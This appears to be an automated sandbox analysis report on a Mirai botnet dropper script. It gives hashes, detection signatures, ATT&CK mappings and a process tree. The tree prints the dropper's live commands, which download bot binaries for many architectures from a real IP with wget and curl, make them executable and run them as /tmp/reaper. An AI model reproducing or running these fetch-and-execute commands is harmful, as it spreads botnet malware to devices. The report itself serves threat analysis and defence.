mirai | b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29

Analysis

max time kernel
112s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20251231-en
resource tags

arch:mipselimage:debian9-mipsel-20251231-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
07/01/2026, 03:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
Size 3KB
Sample260107-efs2sser5x
SHA256 b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29
MD5 ebc5ad1eea03d039c02063030f351aa7
SHA1 adc720a826e2000fb9369f780efe0f07e599ca8c
SHA512 85bc911e426b20f67894645aa9325398ce3d4a4dc8ab451df21ba9eeadc51a0a82aaad3c125ee1d3c47c70ee820eeafff591e5b5ce3cb3834ab3714985ff0068
MD5 SHA1 SHA512

Score

10^/10

botnet unst defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Extracted

Family

mirai

Botnet

UNST

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (27942) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 21 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
809	chmod
842	chmod
875	chmod
902	chmod
919	chmod
934	chmod
740	chmod
762	chmod
852	chmod
887	chmod
786	chmod
857	chmod
912	chmod
939	chmod
752	chmod
757	chmod
822	chmod
864	chmod
924	chmod
929	chmod
767	chmod

Executes dropped EXE 21 IoCs

ioc	pid	Process
/tmp/reaper	741	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	753	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	758	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	763	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	768	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	787	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	811	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	824	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	843	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	853	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	858	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	865	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	876	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	889	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	904	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	913	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	920	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	925	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	930	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	935	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/reaper	940	b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	reaper
File opened for modification	/dev/watchdog	reaper
File opened for modification	/dev/misc/watchdog	reaper
File opened for modification	/dev/watchdog	reaper

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/841/exe	reaper
File opened for reading	/proc/886/exe	reaper
File opened for reading	/proc/903/exe	reaper
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/789/exe	reaper
File opened for reading	/proc/920/exe	reaper
File opened for reading	/proc/937/exe	reaper
File opened for reading	/proc/729/exe	reaper
File opened for reading	/proc/827/exe	reaper
File opened for reading	/proc/911/exe	reaper
File opened for reading	/proc/683/exe	reaper
File opened for reading	/proc/716/exe	reaper
File opened for reading	/proc/718/exe	reaper
File opened for reading	/proc/710/exe	reaper
File opened for reading	/proc/878/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/769/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/668/exe	reaper
File opened for reading	/proc/720/exe	reaper
File opened for reading	/proc/729/exe	reaper
File opened for reading	/proc/817/exe	reaper
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/718/exe	reaper
File opened for reading	/proc/867/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/686/exe	reaper
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/832/exe	reaper
File opened for reading	/proc/879/exe	reaper
File opened for reading	/proc/710/exe	reaper
File opened for reading	/proc/719/exe	reaper
File opened for reading	/proc/837/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/827/exe	reaper
File opened for reading	/proc/832/exe	reaper
File opened for reading	/proc/906/exe	reaper
File opened for reading	/proc/907/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/690/exe	reaper
File opened for reading	/proc/821/exe	reaper
File opened for reading	/proc/773/exe	reaper
File opened for reading	/proc/689/exe	reaper
File opened for reading	/proc/885/exe	reaper
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/445/exe	reaper
File opened for reading	/proc/668/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/716/exe	reaper
File opened for reading	/proc/445/exe	reaper
File opened for reading	/proc/792/exe	reaper
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/829/exe	reaper
File opened for reading	/proc/711/exe	reaper
File opened for reading	/proc/719/exe	reaper
File opened for reading	/proc/723/exe	reaper

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
756	wget
760	curl
761	mv

Writes file to tmp directory 22 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.arm6	curl
File opened for modification	/tmp/z3hir.m68k	curl
File opened for modification	/tmp/z3hir.x86	curl
File opened for modification	/tmp/z3hir.mips	curl
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.arm7	curl
File opened for modification	/tmp/z3hir.ppc	curl
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.sh4	curl
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.mpsl	curl
File opened for modification	/tmp/z3hir.arm	curl
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.arm5	curl
File opened for modification	/tmp/reaper	wget
File opened for modification	/tmp/z3hir.spc	curl

/tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
/tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
1⤵
- Executes dropped EXE
PID:723
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.x86 -O reaper
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/reaper
  ./reaper
  2⤵
  PID:741
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.x86
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/mv
  mv z3hir.x86 reaper
  2⤵
  - Reads runtime system information
  PID:750
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/reaper
  ./reaper
  2⤵
  PID:753
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.mips -O reaper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/reaper
  ./reaper
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:760
- /bin/mv
  mv z3hir.mips reaper
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:761
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/reaper
  ./reaper
  2⤵
  PID:763
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.mpsl -O reaper
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/reaper
  ./reaper
  2⤵
  - Modifies Watchdog functionality
  - Reads runtime system information
  PID:768
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/mv
  mv z3hir.mpsl reaper
  2⤵
  - Reads runtime system information
  PID:784
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/reaper
  ./reaper
  2⤵
  - Modifies Watchdog functionality
  - Reads runtime system information
  PID:787
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.arm -O reaper
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:799
- /bin/mv
  mv z3hir.arm reaper
  2⤵
  - Reads runtime system information
  PID:808
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/reaper
  ./reaper
  2⤵
  PID:811
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.arm5 -O reaper
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/reaper
  ./reaper
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.arm5
  2⤵
  - Writes file to tmp directory
  PID:829
- /bin/mv
  mv z3hir.arm5 reaper
  2⤵
  - Reads runtime system information
  PID:840
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/reaper
  ./reaper
  2⤵
  PID:843
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.arm6 -O reaper
  2⤵
  - Writes file to tmp directory
  PID:847
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/reaper
  ./reaper
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/mv
  mv z3hir.arm6 reaper
  2⤵
  - Reads runtime system information
  PID:856
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/reaper
  ./reaper
  2⤵
  PID:858
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.arm7 -O reaper
  2⤵
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/reaper
  ./reaper
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/mv
  mv z3hir.arm7 reaper
  2⤵
  - Reads runtime system information
  PID:873
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/reaper
  ./reaper
  2⤵
  PID:876
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.ppc -O reaper
  2⤵
  - Writes file to tmp directory
  PID:881
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/reaper
  ./reaper
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/mv
  mv z3hir.ppc reaper
  2⤵
  PID:900
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/reaper
  ./reaper
  2⤵
  PID:904
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.spc -O reaper
  2⤵
  - Writes file to tmp directory
  PID:907
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/reaper
  ./reaper
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/mv
  mv z3hir.spc reaper
  2⤵
  - Reads runtime system information
  PID:918
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/reaper
  ./reaper
  2⤵
  PID:920
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.m68k -O reaper
  2⤵
  - Writes file to tmp directory
  PID:923
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/reaper
  ./reaper
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/mv
  mv z3hir.m68k reaper
  2⤵
  - Reads runtime system information
  PID:928
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/reaper
  ./reaper
  2⤵
  PID:930
- /usr/bin/wget
  wget http://176.65.132.205/bins/z3hir.sh4 -O reaper
  2⤵
  - Writes file to tmp directory
  PID:933
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/reaper
  ./reaper
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://176.65.132.205/bins/z3hir.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/mv
  mv z3hir.sh4 reaper
  2⤵
  - Reads runtime system information
  PID:938
- /bin/chmod
  chmod +x reaper
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/reaper
  ./reaper
  2⤵
  PID:940
- /bin/rm
  rm -rf reaper
  2⤵
  PID:943

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

reaper

Path /tmp/reaper
Size 62KB
SHA256 ec39782ea367d6e0802d22c4b0e777f2a25cb53d38d8942246c4e8d54af7513d
MD5 1b2f211bc2168cfd560a6c528d572e2c
SHA1 6a266efb977eb09770c2bab4163829ea7fa78a94
SHA512 04626a17c00e53d59becdb00d1b717021a4f7867feabba45733b87f5492b28c6a7b66f47a7c434c0ad57440e47a2d242a8f7fed827fc3eb845423ac80f1fc29d
SSDEEP 1536:wB6Ql6YPExO6Q1G2Uva9d2IpESWl/W6XftkZJOPbYc:wwQlbPExO6DDS9d2IeSWl/W6XlqJ8cc
MD5 SHA1 SHA512 SSDEEP

Submit Download

reaper

Path /tmp/reaper
Size 79KB
SHA256 915fd8cc94d0f24729f519f1c4070d694415315bc1e95c9d29272734a5af097f
MD5 bb16f425b02f55170de72c54b1106b04
SHA1 0f1afc7ff21bb2e131d39e9f0a6d979f4d2c81ed
SHA512 9371d016425b1d5a3e9c4b7bae852c18bc66b18f3a1e70da393a03557f03d45bde36ed91f1b52260f1f5d27935050b3acbc475f1153cbf28da26a8fb31f8d081
SSDEEP 1536:Rdnsq8uDEYxaQAR2PEVAq5YMoLmpMguHcUqVUHalw7WDuH0AsfCtb+aHuzVLj1gB:IqRBAMPOAOjoLmpMguHcUqVUHalw7WDQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

reaper

Path /tmp/reaper
Size 91KB
SHA256 0daf6782e3f452a3607ad005cd889d3c6f9d629aca5876b37b00d66c41804ebb
MD5 1141db57af5a85433f3728d711218a60
SHA1 4fa7c28ba7b97c69a94451364aa1c70cbe76f462
SHA512 dd33e04a6ea03458f7d5e14ec2fce9cb592436799ddb4916dcb6a10989d56aed523da9025b6020ee7379999aeca1fe7932c8902bfd26b8e79957c59953dab7b2
SSDEEP 1536:g/L+QjlzS1GaNwtE/c1cqAvNhx8fs3qf3m0dZ+gC1M42gVcFR1GpVURG+:gz+8zKGW9cpAvNof+2FdZ+gDjgO1+mRd
MD5 SHA1 SHA512 SSDEEP

Submit Download

reaper

Path /tmp/reaper
Size 83KB
SHA256 e43dff3feb20d73911bbdc0f43bcb5038772b5cb8800f20bb20f422f36331b18
MD5 7041a33356ecb146fae9ff190fcc1e03
SHA1 9752b6d07086ac3c38b366193e382cef5d74dc4b
SHA512 94958dda9a0deb35ecf9be80686892f803c685b582c7d54dc938b8d7da564b61bf0a2fe844598cc597222908f644a7199485ed1f8fd8fc1f2b665b3353adfc9c
SSDEEP 1536:ax5RTStNRogGEcmXyA90vtCEEvvJlW0rYhrtzEM6hqT:asNRogJf01jE/W0rYhpzEdQT
MD5 SHA1 SHA512 SSDEEP

Submit Download

reaper

Path /tmp/reaper
Size 84KB
SHA256 bb110da7573aca38e37ca99c4c5abce4a5370eb5c718f1e1e1adf3d8be49ed76
MD5 5e7753f17ca5ea2789652e505225086d
SHA1 56a86b4417e82998e0a16e4dabbb35b3539d7f0d
SHA512 f1968f8998c9e3823ed2c3607a925b3c05399ff2a697f67e9b59c6273c5530521940988540b4d558f036e40a6c327395d149d7894fb945618db42f141acb73bf
SSDEEP 1536:sCFbH8yw81ul1wwsIcoPYj8uCrzPE8IxZn:NFT8vl1jdEl
MD5 SHA1 SHA512 SSDEEP

Submit Download

reaper

Path /tmp/reaper
Size 67KB
SHA256 be240c37cb56f7727ed3c4fa8dcc92fa6e628b450519cdcc4070c4f8e9603a8d
MD5 8e36d5c96bd14d94a76fe5295f8603b8
SHA1 c843888b20e334d739a8dd039e0f8b38fc00a542
SHA512 117f2e36eed23f88484b8c13edb3317af47eb1b988793996cf71cf5a14b2bbb109a067eb771b0390552a5da43dfcd275bb6ba636e11714fd8899c8e434f265d2
SSDEEP 1536:3Pupx54xlzgS6l0HtGPSBgweZWMD2ILd0uUiT:3Pupx5D0NGPtwwh2I6viT
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.arm

Path /tmp/z3hir.arm
Size 67KB
SHA256 5a55b836e3b5d9b5e7b766b0d7ffe3672b4b9d150fc3dee3bf4eb49d7bf9b16f
MD5 9674da771783eebdfd7d9c4490de7e54
SHA1 bbe6e2008db0abcab95cd327ae67b50793860393
SHA512 d702b603aec55cb13939763360c2dc64f2da9ab1ce151fbc8a7b41983765b14cfae83f4fea197e3567ef959845ffc68725d98031c2afd443943279480df7c94d
SSDEEP 1536:Gdv2vh99aGO7OJ1l03kdOBeZWj3eUBpUqT:GQ599aE00dawW3eyaqT
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.arm7

Path /tmp/z3hir.arm7
Size 91KB
SHA256 aacde0f179f3638538c8d3602b7b402390c262ae2c90024d9facf73fa7b4d21e
MD5 bee0a82a2a14528a6af1470f673ed318
SHA1 a3b4a03a12419fa70f236690b8e0be6a494057c3
SHA512 33157c23fc42bdd5538bae6bb2ed7757123a96962236570aa20b9dbebc04351bd99448bda51aea8efcc88894d98f89e5fbd98786ecd49d1c929149c8a63e2c42
SSDEEP 1536:9dnwzG1vqRO1QAe0cK+O55nnoLmpMguHcU8VUHalw7W1uH0gsfCMs8uzVLn1dbsl:4zbAjcZODnoLmpMguHcU8VUHalw7W1uQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.m68k

Path /tmp/z3hir.m68k
Size 64KB
SHA256 8a29b1ec616ce3423f7dc2fc6c4fc045ff38f7958dfcdb9fb21cecd1acc8af3e
MD5 3177f53529d050d032815ab3145389e7
SHA1 206152ca7ca55b5dae12f818696135978268428a
SHA512 0be37d25d3ddb22b22881f3e8d26b01098cdb955f6cb2a84bfbf65790a0686e7e575ca35d18fbacd7580c2db681388ef18a99365229280603a99a00071e50b67
SSDEEP 1536:A+d8fQrdxKaX8zidfNQvnzQF7y8JQg1pD04BysCUEkWqKhAhCv8bkJkKkAJ:A6CidVyxGlp/IVW6A4J63AJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.ppc

Path /tmp/z3hir.ppc
Size 62KB
SHA256 5749e89010614cf34c215fc15f6613494b90d6664de0f1b813dd55967a0aa57f
MD5 806218e438c416709fd509e8590934ff
SHA1 a6b0ed596562f3ab5b4a72583d4b4dce28019fbd
SHA512 383e2916510414e0abde02eadf6b56f66f617a83314a63a2a51111016af64e61f0ef3152d809ee0983a9f25e93c6ca46a2324c78c168ea5de01fa6b24a12622e
SSDEEP 768:FXQHO31aZtNS/WaOv6mn2M5RRpwNIqsgjJdFn89Lhwz/S8CewGpW2cDT80DjATTE:x3C6mnd5OIqsgVrn8dhA/vtpo98TPc8a
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.sh4

Path /tmp/z3hir.sh4
Size 62KB
SHA256 0853c6cf590b295f6ec741440726ddb97b0b0f61155f7ab9c08d3f35fd5e6e73
MD5 2a6aa0f44f4ac77d44117758fd531605
SHA1 8c586aab8661c549f0dc4a23525a00250147b18b
SHA512 c7fd64e17b892043de3579f80a24ad077f3ddc68eacfd74b845117a5ee0ab910432418fe3d5ba8895a13f7a46ed83f81da3309218ae9b0b8b6a422a5c5a76bac
SSDEEP 1536:g/L+QjlzS1GaNwtE/c1cqAvNhx8fs3qf3m0dZ+gC1M42g:gz+8zKGW9cpAvNof+2FdZ+gDjg
MD5 SHA1 SHA512 SSDEEP

Submit Download

z3hir.spc

Path /tmp/z3hir.spc
Size 71KB
SHA256 34f848e80a044c5bdbbf6ace55421acb1ebf51a369692249c6a64b835d5c5b0b
MD5 ef81334912c439af2de143b63332318e
SHA1 f8160b742b4a53e9a72264d33f2712fcb8211b05
SHA512 7b9c7115a7a1e9875b813c267aa0487d5bbdecec89d2977288363e9141e7e640e7f8be66a191725ef67dbdd564bccd5c31b04cd9663560c70a349586a0289f1b
SSDEEP 1536:w+Bb6fScvvQFm3EWCDTc0v6vfvkOrTFRB:46afEWCDTc0yvfJXB
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads